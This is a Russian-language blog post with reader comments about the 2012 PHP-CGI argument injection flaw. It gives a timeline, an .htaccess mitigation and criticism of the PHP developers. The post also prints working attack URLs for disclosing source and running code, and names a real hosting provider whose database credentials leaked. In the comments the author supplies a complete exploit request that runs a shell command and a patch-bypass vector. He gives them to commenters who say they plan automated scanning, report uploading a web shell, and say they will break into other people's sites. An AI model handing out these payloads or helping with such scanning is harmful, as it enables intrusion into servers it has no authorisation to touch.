Выполнение произвольного кода на серверах с PHP CGI

Накануне был обнаружен, пожалуй, самый эпичный баг в истории PHP. Уязвимость позволяет атакующему выполнить произвольный код, используя лишь адресную строку браузера, на любом сервере, где PHP работает как CGI. Нашла уязвимость голландская команда Eindbazen, известная по своим выступлениям на различных CTF. Хронология событий:

13.01 – в ходе Nullcon HackIM CTF Eindbazen случайно находят 0day-уязвимость в PHP;
17.01 – Eindbazen отправляют баг-репорт разработчикам PHP;
03.05 – тикет в багтрекере PHP по непонятным причинам становится общедоступным, сведения об уязвимости появляются на reddit.com;
03.05 – в блоге Eindbazen появляется пост с PoC для просмотра исходного кода PHP-скрипта
04.05 – публикуется патч, “закрывающий” уязвимость
04.05 – тут же обнаруживается, что патч можно обойти; выпускается патч для патча, причем разработчики PHP не пишут, что нужно скачать новый патч. Все, кто скачал уязвимый патч думают, что уязвимость закрыта.
04.05 – в Metasploit появляется Remote Code Execution эксплоит.

Больше всего удивляют действия разработчиков PHP. В течение трех месяцев с момента багрепорта они так и не разработали решения устранения уязвимости, продолжая при этом выпускать новые версии PHP. О тикете, случайно ставшим публичным, думаю, вообще говорить нечего. Финал этой драматичной истории с выпуском патча на патч не кажется таким уж и непредсказуемым.

Просмотр исходного кода

/index.php?-s

Выполнение произвольного кода из Metasploit

/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
POST: phpinfo();

Уязвимость распространяется на все сервера, где PHP работает как CGI-модуль; сервера с FastCGI не подвержены. Уязвимыми оказались целые хостинги, например мой хостер agava.ru. Вчера на любом их сайте, включая и здесь, можно было выполнить любой код и не только. Например, обращение по http://blog.agava.ru/wp-config.php?-s любезно предоставляло данные для подключения к базе данных:

Что делать?

Решить проблему может выпущенный патч, хотя вполне вероятно, что в будущем найдется обход и для него. На Suhosin patch также не стоит полагаться, так как для его обхода достаточно лишь указать параметр -n, и PHP-скрипт выполнится без учета директив в php.ini. Самый простой способ защититься – использовать .htaccess со следующими правилами:

RewriteEngine on
RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|\- [NC]
RewriteRule .? - [F,L]


27 comments:

  1. Kuzya, 5. May 2012, 16:31

    Жесть какая. Апокалипсис грядёт)
    Надеюсь с портами патчей не будут тянуть производители основных дистрибутивов типа Ubuntu, FreeBSD, Fedora Core.

     
  2. cat1vo, 6. May 2012, 14:03

    Теперь каждый школьник станет хакером! 🙂

     
  3. HighExceL, 7. May 2012, 15:04

    Собственно вопрос очевидны. есть ли доорк под подобную вещь. да и вообще как можно найти уязвимые сервачки имея пучку урлов?

     
  4. Raz0r, 7. May 2012, 15:25

    Дорка нет, каждый сервер нужно смотреть отдельно. Определить уязвимо или нет – нужно отправить всего-навсего один запрос и смотреть на реакцию веб-сервера.

     
  5. HighExceL, 7. May 2012, 15:34

    Можно хоть один сервачек для примера?

     
  6. Raz0r, 7. May 2012, 15:47

    Здесь я не буду выкладывать адреса, видел на античате постили ссылки.

     
  7. xxx, 7. May 2012, 18:03

    Почему бага работает на серваках и с FastCGI ?

     
  8. Bo0oM, 7. May 2012, 19:33
  9. Raz0r, 7. May 2012, 19:56

    @xxx в FastCGI параметры через stdin вообще не передаются, по идее не должно работать

     
  10. stalker37, 9. May 2012, 7:25

    Мда, конечно… Сколько раз видел ситуации типа такой, столько же раз удивляюсь на производителей ПО: ну почему нельзя постараться исправить все как можно быстрее вместо того, чтобы тупить несколько месяцев и выпустить патч, который тоже нужно патчить.

     
  11. xxx, 9. May 2012, 13:41

    @Raz0r,

    тем не менее, бага сработала – залил шелл, в phpinfo – fastCGI

     
  12. xbv, 16. May 2012, 0:27

    @Raz0r

    Какой запрос и вообще как это заюзать?

     
  13. xbv, 16. May 2012, 0:27

    – нужно отправить всего-навсего один запрос и смотреть на реакцию веб-сервера.

    плиз подробнее можно?

     
  14. Raz0r, 16. May 2012, 11:44

    @xbv

    POST /index.php?-n+-dallow_url_include%3DOn+-dauto_prepend_file%3Dphp%3a%2f%2finput HTTP/1.1
    Host: site.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 28
    Connection: close
    
    <?php system("uname -a"); ?>
    
     
  15. xbv, 16. May 2012, 17:18

    А чес посылать запрос удобнее всего?

     
  16. Raz0r, 16. May 2012, 17:20
  17. xbv, 16. May 2012, 17:55

    thank bro

     
  18. P1r0t3xn1k, 11. June 2012, 13:13

    А каков % уязвимых сервачков в данный момент?

    Подумываю написать конвеер.

     
  19. Raz0r, 11. June 2012, 13:25

    Уже поздно 🙂

     
  20. P1r0t3xn1k, 11. June 2012, 13:51

    Всмысле все они пофикшены?

     
  21. Raz0r, 11. June 2012, 13:54

    Не все конечно, но большая часть да.

     
  22. P1r0t3xn1k, 11. June 2012, 13:57

    Можете дать пример уязвимого?

    Например с багой nginx (которая shell.gif/.php) досихпор встречаются сервера.

    Кстате, после первого патча был найден обход, а можно пример обхода?
    Тоесть там вообще 3 патча вышло вроде как.

     
  23. Raz0r, 11. June 2012, 14:10

    >>Можете дать пример уязвимого?
    Здесь я не выкладываю ссылки на уязвимые сайты.

    >>а можно пример обхода?
    Для обхода нужно, чтобы в запросе присутствовало %3D
    /index.php?-s+%3D

    >>Тоесть там вообще 3 патча вышло вроде как.
    Да

     
  24. P1r0t3xn1k, 11. June 2012, 14:12

    Тоесть /index.php?-s+%3D – универсально?

    Я имею ввиду что будет работать под не падченной системой, и под первым патчем одновременно? Или же прийдется делать 2 проверки?

     
  25. Raz0r, 11. June 2012, 14:31

    По идее универсально, но если писать автомат, то нужно использовать второй вектор, а там %3D и так есть.

     
  26. P1r0t3xn1k, 11. June 2012, 17:18

    Спасибо!

     
  27. AntonMK, 30. December 2012, 16:34

    Огромное спасибо теперь чужие фейки буду ломать

     

Write a comment: